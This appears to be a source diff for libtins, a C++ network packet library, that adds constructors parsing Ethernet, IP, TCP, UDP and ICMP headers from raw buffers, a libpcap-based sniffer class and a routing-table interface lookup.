Tins::EthernetII::EthernetII(const uint8_t *buffer, uint32_t total_sz) : PDU(ETHERTYPE_IP) {
if(total_sz < sizeof(ethhdr))
throw std::runtime_error("Not enought size for an ethernetII header in the buffer.");
memcpy(&_eth, buffer, sizeof(ethhdr));
PDU *next = 0;
switch(payload_type()) {
case ETHERTYPE_IP:
next = new Tins::IP(buffer + sizeof(ethhdr), total_sz - sizeof(ethhdr));
break;
case ETHERTYPE_ARP:
next = new Tins::ARP(buffer + sizeof(ethhdr), total_sz - sizeof(ethhdr));
break;
// Other protos plz
}
inner_pdu(next);
}
Tins::EthernetII::EthernetII(ethhdr *eth_ptr) : PDU(ETHERTYPE_IP) {
memcpy(&_eth, eth_ptr, sizeof(ethhdr));
}
uint16_t Tins::EthernetII::payload_type() const {
return Utils::net_to_host_s(_eth.payload_type);
}
void Tins::EthernetII::dst_hw_addr(const uint8_t* new_dst_mac) {
memcpy(this->_eth.dst_mac, new_dst_mac, 6);
}

View File

@@ -19,12 +19,12 @@
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdexcept>
#include <cstring>
#include <cassert>
#ifndef WIN32
#include <netinet/in.h>
#endif
#include <cstring>
#include <cassert>
#include "icmp.h"
#include "rawpdu.h"
#include "utils.h"
@@ -48,7 +48,16 @@ Tins::ICMP::ICMP(Flags flag) : PDU(IPPROTO_ICMP) {
};
}
Tins::ICMP::ICMP(icmphdr *ptr) : PDU(IPPROTO_ICMP) {
Tins::ICMP::ICMP(const uint8_t *buffer, uint32_t total_sz) : PDU(IPPROTO_ICMP) {
if(total_sz < sizeof(icmphdr))
throw std::runtime_error("Not enought size for an ICMP header in the buffer.");
std::memcpy(&_icmp, buffer, sizeof(icmphdr));
total_sz -= sizeof(icmphdr);
if(total_sz)
inner_pdu(new RawPDU(buffer + sizeof(icmphdr), total_sz));
}
Tins::ICMP::ICMP(const icmphdr *ptr) : PDU(IPPROTO_ICMP) {
std::memcpy(&_icmp, ptr, sizeof(icmphdr));
}
@@ -177,10 +186,10 @@ bool Tins::ICMP::matches_response(uint8_t *ptr, uint32_t total_sz) {
return false;
}
Tins::PDU *Tins::ICMP::clone_packet(uint8_t *ptr, uint32_t total_sz) {
Tins::PDU *Tins::ICMP::clone_packet(const uint8_t *ptr, uint32_t total_sz) {
if(total_sz < sizeof(icmphdr))
return 0;
icmphdr *icmp_ptr = (icmphdr*)ptr;
const icmphdr *icmp_ptr = (icmphdr*)ptr;
PDU *child = 0, *cloned;
if(total_sz > sizeof(icmphdr)) {
if((child = PDU::clone_inner_pdu(ptr + sizeof(icmphdr), total_sz - sizeof(icmphdr))) == 0)

View File

@@ -19,12 +19,16 @@
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdexcept>
#include <cstring>
#include <cassert>
#ifndef WIN32
#include <netinet/in.h>
#endif
#include "ip.h"
#include "tcp.h"
#include "udp.h"
#include "icmp.h"
#include "rawpdu.h"
#include "utils.h"
@@ -42,6 +46,29 @@ Tins::IP::IP(const string &ip_dst, const string &ip_src, PDU *child) : PDU(IPPRO
}
Tins::IP::IP(const uint8_t *buffer, uint32_t total_sz) : PDU(IPPROTO_IP) {
if(total_sz < sizeof(iphdr))
throw std::runtime_error("Not enought size for an IP header in the buffer.");
std::memcpy(&_ip, buffer, sizeof(iphdr));
/* Options... */
buffer += head_len() * sizeof(uint32_t);
total_sz -= head_len() * sizeof(uint32_t);
switch(_ip.protocol) {
case IPPROTO_TCP:
inner_pdu(new Tins::TCP(buffer, total_sz));
break;
case IPPROTO_UDP:
inner_pdu(new Tins::UDP(buffer, total_sz));
break;
case IPPROTO_ICMP:
inner_pdu(new Tins::ICMP(buffer, total_sz));
break;
default:
inner_pdu(new Tins::RawPDU(buffer, total_sz));
break;
}
}
Tins::IP::IP(const iphdr *ptr) : PDU(IPPROTO_IP) {
std::memcpy(&_ip, ptr, sizeof(iphdr));
/* Options... */
@@ -241,10 +268,10 @@ bool Tins::IP::matches_response(uint8_t *ptr, uint32_t total_sz) {
return false;
}
Tins::PDU *Tins::IP::clone_packet(uint8_t *ptr, uint32_t total_sz) {
Tins::PDU *Tins::IP::clone_packet(const uint8_t *ptr, uint32_t total_sz) {
if(total_sz < sizeof(iphdr))
return 0;
iphdr *ip_ptr = (iphdr*)ptr;
const iphdr *ip_ptr = (iphdr*)ptr;
uint32_t sz = ip_ptr->ihl * sizeof(uint32_t);
if(total_sz < sz)
return 0;

View File

@@ -20,7 +20,6 @@
*/
#include <cassert>
#include <iostream> //borrame
#include "utils.h"
#include "pdu.h"
#include "rawpdu.h"
@@ -69,7 +68,7 @@ void Tins::PDU::serialize(uint8_t *buffer, uint32_t total_sz, const PDU *parent)
write_serialization(buffer, total_sz, parent);
}
Tins::PDU *Tins::PDU::clone_inner_pdu(uint8_t *ptr, uint32_t total_sz) {
Tins::PDU *Tins::PDU::clone_inner_pdu(const uint8_t *ptr, uint32_t total_sz) {
PDU *child = 0;
if(inner_pdu()) {
child = inner_pdu()->clone_packet(ptr, total_sz);
@@ -77,7 +76,7 @@ Tins::PDU *Tins::PDU::clone_inner_pdu(uint8_t *ptr, uint32_t total_sz) {
return 0;
}
else
child = new RawPDU(ptr, total_sz, true);
child = new RawPDU(ptr, total_sz);
return child;
}

View File

@@ -24,11 +24,13 @@
#include "rawpdu.h"
Tins::RawPDU::RawPDU(uint8_t *pload, uint32_t size, bool copy) : PDU(255), _payload(pload), _payload_size(size), _owns_payload(copy) {
if(copy) {
_payload = new uint8_t[size];
std::memcpy(_payload, pload, size);
}
Tins::RawPDU::RawPDU(const uint8_t *pload, uint32_t size) : PDU(255), _payload_size(size), _owns_payload(true) {
_payload = new uint8_t[size];
std::memcpy(_payload, pload, size);
}
Tins::RawPDU::RawPDU(uint8_t *pload, uint32_t size) : PDU(255), _payload(pload), _payload_size(size), _owns_payload(false) {
}
Tins::RawPDU::~RawPDU() {

106
src/sniffer.cpp Normal file
View File

@@ -0,0 +1,106 @@
/*
* libtins is a net packet wrapper library for crafting and
* interpreting sniffed packets.
*
* Copyright (C) 2011 Nasel
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdexcept>
#include "sniffer.h"
#include "ethernetII.h"
using namespace std;
/** \cond */
struct LoopData {
pcap_t *handle;
Tins::AbstractSnifferHandler *c_handler;
LoopData(pcap_t *_handle, Tins::AbstractSnifferHandler *_handler) : handle(_handle), c_handler(_handler) { }
};
/** \endcond */
Tins::Sniffer::Sniffer(const string &device, unsigned max_packet_size) {
char error[PCAP_ERRBUF_SIZE];
if (pcap_lookupnet(device.c_str(), &ip, &mask, error) == -1)
throw runtime_error(error);
handle = pcap_open_live(device.c_str(), max_packet_size, 0, 0, error);
if(!handle)
throw runtime_error(error);
}
Tins::Sniffer::~Sniffer() {
if(handle)
pcap_close(handle);
}
bool Tins::Sniffer::compile_set_filter(const string &filter, bpf_program &prog) {
return (pcap_compile(handle, &prog, filter.c_str(), 0, ip) != -1 && pcap_setfilter(handle, &prog) != -1);
}
Tins::PDU *Tins::Sniffer::next_pdu(const string &filter) {
bpf_program prog;
if(!compile_set_filter(filter, prog))
return 0;
pcap_pkthdr header;
PDU *ret = 0;
while(!ret) {
const u_char *content = pcap_next(handle, &header);
try {
ret = new EthernetII((const uint8_t*)content, header.caplen);
}
catch(...) {
ret = 0;
}
}
pcap_freecode(&prog);
return ret;
}
void Tins::Sniffer::stop_sniff() {
pcap_breakloop(handle);
}
void Tins::Sniffer::sniff_loop(const std::string &filter, AbstractSnifferHandler *cback_handler, uint32_t max_packets) {
bpf_program prog;
if(compile_set_filter(filter, prog)) {
LoopData data(handle, cback_handler);
pcap_loop(handle, max_packets, Sniffer::callback_handler, (u_char*)&data);
pcap_freecode(&prog);
}
}
// Static
void Tins::Sniffer::callback_handler(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) {
try {
PDU *pdu = new EthernetII((const uint8_t*)packet, header->caplen);
LoopData *data = reinterpret_cast<LoopData*>(args);
bool ret_val = data->c_handler->handle(pdu);
delete pdu;
if(!ret_val)
pcap_breakloop(data->handle);
}
catch(...) {
}
}

View File

@@ -19,6 +19,7 @@
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdexcept>
#include <cstring>
#include <cassert>
#ifndef WIN32
@@ -41,6 +42,18 @@ Tins::TCP::TCP(uint16_t dport, uint16_t sport) : PDU(IPPROTO_TCP), _options_size
this->check(0);
}
Tins::TCP::TCP(const uint8_t *buffer, uint32_t total_sz) : PDU(IPPROTO_TCP) {
if(total_sz < sizeof(tcphdr))
throw std::runtime_error("Not enought size for an TCP header in the buffer.");
std::memcpy(&_tcp, buffer, sizeof(tcphdr));
/* Options... */
total_sz -= sizeof(tcphdr);
if(total_sz)
inner_pdu(new RawPDU(buffer + sizeof(tcphdr), total_sz));
}
Tins::TCP::~TCP() {
for(unsigned i(0); i < _options.size(); ++i)
delete[] _options[i].data;
@@ -92,6 +105,38 @@ void Tins::TCP::set_timestamp(uint32_t value, uint32_t reply) {
add_option(TSOPT, 8, (uint8_t*)&buffer);
}
uint8_t Tins::TCP::get_flag(Flags tcp_flag) {
switch(tcp_flag) {
case FIN:
return _tcp.fin;
break;
case SYN:
return _tcp.syn;
break;
case RST:
return _tcp.rst;
break;
case PSH:
return _tcp.psh;
break;
case ACK:
return _tcp.ack;
break;
case URG:
return _tcp.urg;
break;
case ECE:
return _tcp.ece;
break;
case CWR:
return _tcp.cwr;
break;
default:
return 0;
break;
};
}
void Tins::TCP::set_flag(Flags tcp_flag, uint8_t value) {
switch(tcp_flag) {
case FIN:

View File

@@ -19,11 +19,12 @@
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdexcept>
#include <cassert>
#include <cstring>
#ifndef WIN32
#include <netinet/in.h>
#endif
#include <cassert>
#include <cstring>
#include "utils.h"
#include "udp.h"
#include "ip.h"
@@ -36,6 +37,15 @@ Tins::UDP::UDP(uint16_t dport, uint16_t sport, PDU *child) : PDU(IPPROTO_UDP, ch
_udp.len = 0;
}
Tins::UDP::UDP(const uint8_t *buffer, uint32_t total_sz) : PDU(IPPROTO_UDP) {
if(total_sz < sizeof(udphdr))
throw std::runtime_error("Not enought size for an UDP header in the buffer.");
std::memcpy(&_udp, buffer, sizeof(udphdr));
total_sz -= sizeof(udphdr);
if(total_sz)
inner_pdu(new RawPDU(buffer + sizeof(udphdr), total_sz));
}
void Tins::UDP::payload(uint8_t *new_payload, uint32_t new_payload_size) {
inner_pdu(new RawPDU(new_payload, new_payload_size));
}
@@ -61,14 +71,14 @@ void Tins::UDP::write_serialization(uint8_t *buffer, uint32_t total_sz, const PD
const Tins::IP *ip_packet = dynamic_cast<const Tins::IP*>(parent);
if(inner_pdu())
length(sizeof(udphdr) + inner_pdu()->size());
std::memcpy(buffer, &_udp, sizeof(udphdr));
if(!_udp.check && ip_packet) {
uint32_t checksum = PDU::pseudoheader_checksum(ip_packet->source_address(), ip_packet->dest_address(), size(), IPPROTO_UDP) +
PDU::do_checksum(buffer + sizeof(udphdr), buffer + total_sz) + PDU::do_checksum((uint8_t*)&_udp, ((uint8_t*)&_udp) + sizeof(udphdr));
PDU::do_checksum(buffer, buffer + total_sz);
while (checksum >> 16)
checksum = (checksum & 0xffff)+(checksum >> 16);
_udp.check = Utils::net_to_host_s(~checksum);
((udphdr*)buffer)->check = Utils::net_to_host_s(~checksum);
}
std::memcpy(buffer, &_udp, sizeof(udphdr));
_udp.check = 0;
}

View File

@@ -21,6 +21,7 @@
#include <stdexcept>
#include <sstream>
#include <fstream>
#include <stdexcept>
#include <cassert>
#include <cstring>
@@ -76,6 +77,29 @@ struct HWAddressCollector {
}
};
bool from_hex(const string &str, uint32_t &result) {
unsigned i(0);
result = 0;
while(i < str.size()) {
uint8_t tmp;
if(str[i] >= 'A' && str[i] <= 'F')
tmp = (str[i] - 'A' + 10);
else if(str[i] >= '0' && str[i] <= '9')
tmp = (str[i] - '0');
else
return false;
result = (result << 4) | tmp;
i++;
}
return true;
}
void skip_line(istream &input) {
int c = 0;
while(c != '\n' && input)
c = input.get();
}
/** \endcond */
uint32_t Tins::Utils::ip_to_int(const string &ip) {
@@ -179,6 +203,26 @@ bool Tins::Utils::resolve_hwaddr(const string &iface, uint32_t ip, uint8_t *buff
return false;
}
string Tins::Utils::interface_from_ip(uint32_t ip) {
ifstream input("/proc/net/route");
bool match(false);
string iface;
string destination, mask;
uint32_t destination_int, mask_int;
skip_line(input);
while(!match) {
input >> iface >> destination;
for(unsigned i(0); i < 6; ++i)
input >> mask;
from_hex(destination, destination_int);
from_hex(mask, mask_int);
if((ip & mask_int) == destination_int)
return iface;
skip_line(input);
}
return "";
}
set<string> Tins::Utils::network_interfaces() {
InterfaceCollector collector;
generic_iface_loop(collector);